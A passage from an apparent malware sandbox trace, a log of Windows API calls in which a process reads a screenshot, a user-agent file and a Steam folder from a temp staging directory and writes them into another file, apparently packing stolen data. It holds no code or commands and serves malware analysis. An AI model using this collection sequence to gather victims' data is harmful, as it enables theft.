ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x2ce8200f, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0211.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb4) returned 1 [0211.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1.2.3", cchWideChar=5, lpMultiByteStr=0x12fedc8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1.2.3H\x86q\x18Ô\x96àðùos¸ó/\x01LU6\x03", lpUsedDefaultChar=0x0) returned 5 [0211.862] ReadFile (in: hFile=0x750, lpBuffer=0x336771c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x336771c*, lpNumberOfBytesRead=0x12feedc*=0x0, lpOverlapped=0x0) returned 1 [0211.864] CloseHandle (hObject=0x750) returned 1 [0211.864] FindNextFileW (in: hFindFile=0x13fa570, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d060703, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1d060703, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1d2c6ed8, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x26c5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="screen.jpeg", cAlternateFileName="SCREEN~1.JPE")) returned 1 [0211.864] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\screen.jpeg", nBufferLength=0x105, lpBuffer=0x12fe930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\screen.jpeg", lpFilePart=0x0) returned 0x3a [0211.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee74) returned 1 [0211.864] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\screen.jpeg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\screen.jpeg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x750 [0211.864] GetFileType (hFile=0x750) returned 0x1 [0211.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee70) returned 1 [0211.864] GetFileType (hFile=0x750) returned 0x1 [0211.864] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\screen.jpeg", nBufferLength=0x105, lpBuffer=0x12fe9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\screen.jpeg", lpFilePart=0x0) returned 0x3a [0211.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb8) returned 1 [0211.864] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\screen.jpeg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\screen.jpeg"), fInfoLevelId=0x0, lpFileInformation=0x12fef34 | out: lpFileInformation=0x12fef34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d060703, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1d060703, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1d2c6ed8, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x26c5a)) returned 1 [0211.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb4) returned 1 [0211.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1.2.3", cchWideChar=5, lpMultiByteStr=0x12fedc8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1.2.3H\x86q\x18Ô\x96àðùos¸ó/\x01l½7\x03", lpUsedDefaultChar=0x0) returned 5 [0211.866] ReadFile (in: hFile=0x750, lpBuffer=0x337df3c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x337df3c*, lpNumberOfBytesRead=0x12feedc*=0x14000, lpOverlapped=0x0) returned 1 [0211.866] WriteFile (in: hFile=0x740, lpBuffer=0x3335a18*, nNumberOfBytesToWrite=0x2b, lpNumberOfBytesWritten=0x12fedec, lpOverlapped=0x0 | out: lpBuffer=0x3335a18*, lpNumberOfBytesWritten=0x12fedec*=0x2b, lpOverlapped=0x0) returned 1 [0211.871] WriteFile (in: hFile=0x740, lpBuffer=0x3335a18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x3335a18*, lpNumberOfBytesWritten=0x12fee44*=0x1000, lpOverlapped=0x0) returned 1 [0211.871] WriteFile (in: hFile=0x740, lpBuffer=0x337ce43*, nNumberOfBytesToWrite=0x1029, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x337ce43*, lpNumberOfBytesWritten=0x12fee44*=0x1029, lpOverlapped=0x0) returned 1 [0211.871] WriteFile (in: hFile=0x740, lpBuffer=0x337be6c*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x337be6c*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0211.874] WriteFile (in: hFile=0x740, lpBuffer=0x337be6c*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x337be6c*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0211.874] WriteFile (in: hFile=0x740, lpBuffer=0x337be6c*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x337be6c*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0211.875] WriteFile (in: hFile=0x740, lpBuffer=0x337be6c*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x337be6c*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0211.875] WriteFile (in: hFile=0x740, lpBuffer=0x337be6c*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x337be6c*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0211.876] ReadFile (in: hFile=0x750, lpBuffer=0x337df3c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x337df3c*, lpNumberOfBytesRead=0x12feedc*=0x12c5a, lpOverlapped=0x0) returned 1 [0211.877] WriteFile (in: hFile=0x740, lpBuffer=0x3335a18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x3335a18*, lpNumberOfBytesWritten=0x12fee44*=0x1000, lpOverlapped=0x0) returned 1 [0211.877] WriteFile (in: hFile=0x740, lpBuffer=0x337c92a*, nNumberOfBytesToWrite=0x1542, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x337c92a*, lpNumberOfBytesWritten=0x12fee44*=0x1542, lpOverlapped=0x0) returned 1 [0211.878] WriteFile (in: hFile=0x740, lpBuffer=0x337be6c*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x337be6c*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0211.879] WriteFile (in: hFile=0x740, lpBuffer=0x337be6c*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x337be6c*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0211.879] WriteFile (in: hFile=0x740, lpBuffer=0x337be6c*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x337be6c*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0211.880] WriteFile (in: hFile=0x740, lpBuffer=0x337be6c*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee44, lpOverlapped=0x0 | out: lpBuffer=0x337be6c*, lpNumberOfBytesWritten=0x12fee44*=0x2000, lpOverlapped=0x0) returned 1 [0211.880] ReadFile (in: hFile=0x750, lpBuffer=0x337df3c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x337df3c*, lpNumberOfBytesRead=0x12feedc*=0x0, lpOverlapped=0x0) returned 1 [0211.880] WriteFile (in: hFile=0x740, lpBuffer=0x337be6c*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee50, lpOverlapped=0x0 | out: lpBuffer=0x337be6c*, lpNumberOfBytesWritten=0x12fee50*=0x2000, lpOverlapped=0x0) returned 1 [0211.881] WriteFile (in: hFile=0x740, lpBuffer=0x337be6c*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x12fee50, lpOverlapped=0x0 | out: lpBuffer=0x337be6c*, lpNumberOfBytesWritten=0x12fee50*=0x2000, lpOverlapped=0x0) returned 1 [0211.881] WriteFile (in: hFile=0x740, lpBuffer=0x337be6c*, nNumberOfBytesToWrite=0x1c9c, lpNumberOfBytesWritten=0x12fee50, lpOverlapped=0x0 | out: lpBuffer=0x337be6c*, lpNumberOfBytesWritten=0x12fee50*=0x1c9c, lpOverlapped=0x0) returned 1 [0211.883] SetFilePointer (in: hFile=0x740, lDistanceToMove=926, lpDistanceToMoveHigh=0x12fee88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x12fee88*=0) returned 0x39e [0211.883] WriteFile (in: hFile=0x740, lpBuffer=0x3335a18*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x12fee84, lpOverlapped=0x0 | out: lpBuffer=0x3335a18*, lpNumberOfBytesWritten=0x12fee84*=0xc, lpOverlapped=0x0) returned 1 [0211.883] SetFilePointer (in: hFile=0x740, lDistanceToMove=116119, lpDistanceToMoveHigh=0x12fee88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x12fee88*=0) returned 0x1c597 [0211.884] CloseHandle (hObject=0x750) returned 1 [0211.884] FindNextFileW (in: hFindFile=0x13fa570, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27de1e71, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x27de1e71, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x27e08115, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserAgents.txt", cAlternateFileName="USERAG~1.TXT")) returned 1 [0211.884] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\UserAgents.txt", nBufferLength=0x105, lpBuffer=0x12fe930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\UserAgents.txt", lpFilePart=0x0) returned 0x3d [0211.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee74) returned 1 [0211.884] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\UserAgents.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\useragents.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x750 [0211.884] GetFileType (hFile=0x750) returned 0x1 [0211.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee70) returned 1 [0211.884] GetFileType (hFile=0x750) returned 0x1 [0211.884] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\UserAgents.txt", nBufferLength=0x105, lpBuffer=0x12fe9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\UserAgents.txt", lpFilePart=0x0) returned 0x3d [0211.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb8) returned 1 [0211.884] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\UserAgents.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\useragents.txt"), fInfoLevelId=0x0, lpFileInformation=0x12fef34 | out: lpFileInformation=0x12fef34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27de1e71, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x27de1e71, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x27e08115, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0xc4)) returned 1 [0211.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb4) returned 1 [0211.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1.2.3", cchWideChar=5, lpMultiByteStr=0x12fedc8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1.2.3H\x86q\x18Ô\x96àðùos¸ó/\x018&9\x03", lpUsedDefaultChar=0x0) returned 5 [0211.886] ReadFile (in: hFile=0x750, lpBuffer=0x3394808, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x3394808*, lpNumberOfBytesRead=0x12feedc*=0xc4, lpOverlapped=0x0) returned 1 [0211.886] ReadFile (in: hFile=0x750, lpBuffer=0x3394808, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x3394808*, lpNumberOfBytesRead=0x12feedc*=0x0, lpOverlapped=0x0) returned 1 [0211.891] WriteFile (in: hFile=0x740, lpBuffer=0x3335a18*, nNumberOfBytesToWrite=0xbe, lpNumberOfBytesWritten=0x12fee84, lpOverlapped=0x0 | out: lpBuffer=0x3335a18*, lpNumberOfBytesWritten=0x12fee84*=0xbe, lpOverlapped=0x0) returned 1 [0211.891] SetFilePointer (in: hFile=0x740, lDistanceToMove=116133, lpDistanceToMoveHigh=0x12fee88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x12fee88*=0) returned 0x1c5a5 [0211.891] WriteFile (in: hFile=0x740, lpBuffer=0x3335a18*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x12fee84, lpOverlapped=0x0 | out: lpBuffer=0x3335a18*, lpNumberOfBytesWritten=0x12fee84*=0xc, lpOverlapped=0x0) returned 1 [0211.891] SetFilePointer (in: hFile=0x740, lDistanceToMove=116309, lpDistanceToMoveHigh=0x12fee88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x12fee88*=0) returned 0x1c655 [0211.891] CloseHandle (hObject=0x750) returned 1 [0211.891] FindNextFileW (in: hFindFile=0x13fa570, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0211.891] FindClose (in: hFindFile=0x13fa570 | out: hFindFile=0x13fa570) returned 1 [0211.891] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Apps\\*", lpFindFileData=0x12fecac | out: lpFindFileData=0x12fecac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x13fa730 [0211.892] FindNextFileW (in: hFindFile=0x13fa730, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.892] FindNextFileW (in: hFindFile=0x13fa730, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Steam", cAlternateFileName="")) returned 1 [0211.892] FindNextFileW (in: hFindFile=0x13fa730, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Steam", cAlternateFileName="")) returned 0 [0211.892] FindClose (in: hFindFile=0x13fa730 | out: hFindFile=0x13fa730) returned 1 [0211.892] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Apps\\*", lpFindFileData=0x12fecec | out: lpFindFileData=0x12fecec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x13fa570 [0211.892] FindNextFileW (in: hFindFile=0x13fa570, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.893] FindNextFileW (in: hFindFile=0x13fa570, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Steam", cAlternateFileName="")) returned 1 [0211.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef4c) returned 1 [0211.893] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Apps\\Steam", nBufferLength=0x105, lpBuffer=0x12fea00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Apps\\Steam", lpFilePart=0x0) returned 0x39 [0211.893] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Apps\\Steam\\*", lpFindFileData=0x12fec74 | out: lpFindFileData=0x12fec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x13fa530 [0211.893] FindClose (in: hFindFile=0x13fa530 | out: hFindFile=0x13fa530) returned 1 [0211.893] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Apps\\Steam\\*", lpFindFileData=0x12fec80 | out: lpFindFileData=0x12fec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x13fa730 [0211.893] FindNextFileW (in: hFindFile=0x13fa730, lpFindFileData=0x12fec94 | out: lpFindFileData=0x12fec94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.894] FindNextFileW (in: hFindFile=0x13fa730, lpFindFileData=0x12fec94 | out: lpFindFileData=0x12fec94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.894] FindClose (in: hFindFile=0x13fa730 | out: hFindFile=0x13fa730) returned 1 [0211.894] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Apps\\Steam\\*", lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x13fa5b0 [0211.894] FindNextFileW (in: hFindFile=0x13fa5b0, lpFindFileData=0x12fecd4 | out: lpFindFileData=0x12fecd4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.894] FindNextFileW (in: hFindFile=0x13fa5b0, lpFindFileData=0x12fecd4 | out: lpFindFileData=0x12fecd4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.894] FindClose (in: hFindFile=0x13fa5b0 | out: hFindFile=0x13fa5b0) returned 1 [0211.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef5c) returned 1 [0211.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef68) returned 1 [0211.894] FindNextFileW (in: hFindFile=0x13fa570, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0211.895] FindClose (in: hFindFile=0x13fa570 | out: hFindFile=0x13fa570) returned 1 [0211.895] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Apps\\Steam\\*", lpFindFileData=0x12fecac | out: lpFindFileData=0x12fecac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x13faaf0 [0211.895] FindNextFileW (in: hFindFile=0x13faaf0, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.895] FindNextFileW (in: hFindFile=0x13faaf0, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.895] FindClose (in: hFindFile=0x13faaf0 | out: hFindFile=0x13faaf0) returned 1 [0211.895] FindFirstFileW (in: 